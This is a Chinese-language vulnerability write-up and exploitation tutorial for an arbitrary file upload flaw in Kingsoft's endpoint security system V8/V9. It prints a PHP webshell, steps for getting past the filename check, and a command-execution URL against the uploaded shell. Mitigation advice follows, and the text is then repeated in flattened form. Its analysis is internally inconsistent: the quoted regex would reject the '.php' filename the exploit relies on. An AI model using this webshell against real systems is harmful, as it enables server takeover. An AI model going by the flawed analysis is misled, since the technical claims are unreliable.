金山终端安全系统 V8/V9存在文件上传漏洞
字数 1283 2025-08-10 08:29:01

金山终端安全系统 V8/V9 文件上传漏洞分析及利用教学

漏洞概述

金山终端安全系统 V8 和 V9 版本中存在一个高危的文件上传漏洞,攻击者可以通过构造特定的 HTTP 请求,向目标系统上传任意文件,可能导致远程代码执行(RCE)等严重后果。

受影响版本

  • 金山终端安全系统 V8
  • 金山终端安全系统 V9

环境要求

  • 操作系统:Windows Server 2008 R2
  • 内存:≥4GB
  • 架构:B/S架构(可通过Web应用进行管理)

漏洞位置

Web根目录下的 /tools/manage/upload.php 文件

漏洞分析

文件结构

  • Web根目录位于程序结构下的 Console 目录
  • V8和V9的文件结构大致相同

漏洞代码分析

  1. 上传目录设置

    $uploaddir = '/UploadDir/'; // 默认上传目录
    
    // 如果存在server.conf文件,则重写$uploaddir的值
    if(file_exists('server.conf')) {
        // 读取并重写$uploaddir
    }
    
  2. 文件上传逻辑

    // 检查上传文件名是否符合正则表达式
    if(preg_match('/^[A-z]*$/', $_FILES['file']['name'])) {
        // 文件名必须为32位A-z字符
        $uploadfile = $uploaddir . $_FILES['file']['name'];
    
        // 创建目录并设置权限
        mkdir($uploaddir, 0777, true);
    
        // 移动上传的文件
        move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
    }
    

漏洞关键点

  1. 文件名验证过于简单,仅要求32位长度的字母组合
  2. 上传目录权限设置为0777(最大权限)
  3. 没有对文件内容进行任何验证
  4. 默认情况下不存在server.conf文件,使用默认上传路径

漏洞利用

利用条件

  1. 知道目标系统的Web管理界面地址
  2. 能够发送HTTP POST请求到 /tools/manage/upload.php

利用步骤

  1. 构造上传请求

    • 使用POST方法访问 /tools/manage/upload.php
    • 上传的文件名必须为32位字母(如MD5值)
    • 文件内容可以是任意内容(如Webshell)
  2. 生成符合要求的文件名

    # 生成32位字母字符串(Linux/Mac)
    echo $(head /dev/urandom | tr -dc A-Za-z | head -c 32)
    
    # 或使用MD5值
    echo -n "randomstring" | md5sum
    
  3. 上传Webshell

    • 创建一个简单的PHP Webshell文件,如:
      <?php system($_GET['cmd']); ?>
      
    • 将文件重命名为32位字母名称(如abcdefghijklmnopqrstuvwxyzabcdef.php
    • 通过上传接口提交
  4. 访问上传的文件

    • 默认上传路径为 /UploadDir/[filename]
    • 访问 http://target/UploadDir/abcdefghijklmnopqrstuvwxyzabcdef.php?cmd=whoami

防御措施

  1. 临时解决方案

    • 删除或重命名 /tools/manage/upload.php 文件
    • 在Web服务器配置中禁止访问 /tools/manage/ 目录
  2. 长期解决方案

    • 升级到最新版本的安全系统
    • 实施严格的文件上传验证:
      • 验证文件类型(MIME类型、文件头)
      • 限制上传文件扩展名
      • 将上传文件存储在Web根目录外
      • 对上传文件进行重命名
      • 设置适当的文件权限
  3. 安全加固

    • 定期进行安全审计
    • 限制管理界面的访问IP
    • 实施Web应用防火墙(WAF)规则

参考

免责声明

本文档仅用于安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。使用者需自行承担所有风险和责任。

金山终端安全系统 V8/V9 文件上传漏洞分析及利用教学 漏洞概述 金山终端安全系统 V8 和 V9 版本中存在一个高危的文件上传漏洞,攻击者可以通过构造特定的 HTTP 请求,向目标系统上传任意文件,可能导致远程代码执行(RCE)等严重后果。 受影响版本 金山终端安全系统 V8 金山终端安全系统 V9 环境要求 操作系统:Windows Server 2008 R2 内存:≥4GB 架构:B/S架构(可通过Web应用进行管理) 漏洞位置 Web根目录下的 /tools/manage/upload.php 文件 漏洞分析 文件结构 Web根目录位于程序结构下的 Console 目录 V8和V9的文件结构大致相同 漏洞代码分析 上传目录设置 : 文件上传逻辑 : 漏洞关键点 文件名验证过于简单,仅要求32位长度的字母组合 上传目录权限设置为0777(最大权限) 没有对文件内容进行任何验证 默认情况下不存在server.conf文件,使用默认上传路径 漏洞利用 利用条件 知道目标系统的Web管理界面地址 能够发送HTTP POST请求到 /tools/manage/upload.php 利用步骤 构造上传请求 : 使用POST方法访问 /tools/manage/upload.php 上传的文件名必须为32位字母(如MD5值) 文件内容可以是任意内容(如Webshell) 生成符合要求的文件名 : 上传Webshell : 创建一个简单的PHP Webshell文件,如: 将文件重命名为32位字母名称(如 abcdefghijklmnopqrstuvwxyzabcdef.php ) 通过上传接口提交 访问上传的文件 : 默认上传路径为 /UploadDir/[filename] 访问 http://target/UploadDir/abcdefghijklmnopqrstuvwxyzabcdef.php?cmd=whoami 防御措施 临时解决方案 : 删除或重命名 /tools/manage/upload.php 文件 在Web服务器配置中禁止访问 /tools/manage/ 目录 长期解决方案 : 升级到最新版本的安全系统 实施严格的文件上传验证: 验证文件类型(MIME类型、文件头) 限制上传文件扩展名 将上传文件存储在Web根目录外 对上传文件进行重命名 设置适当的文件权限 安全加固 : 定期进行安全审计 限制管理界面的访问IP 实施Web应用防火墙(WAF)规则 参考 漏洞发现者:奇安信攻防社区 受影响版本下载链接: V8: http://duba-011.duba.net/netversion/Package/KAVNETV8Plus.iso V9: http://duba-011.duba.net/netversion/Package/SecManage.iso 免责声明 本文档仅用于安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。使用者需自行承担所有风险和责任。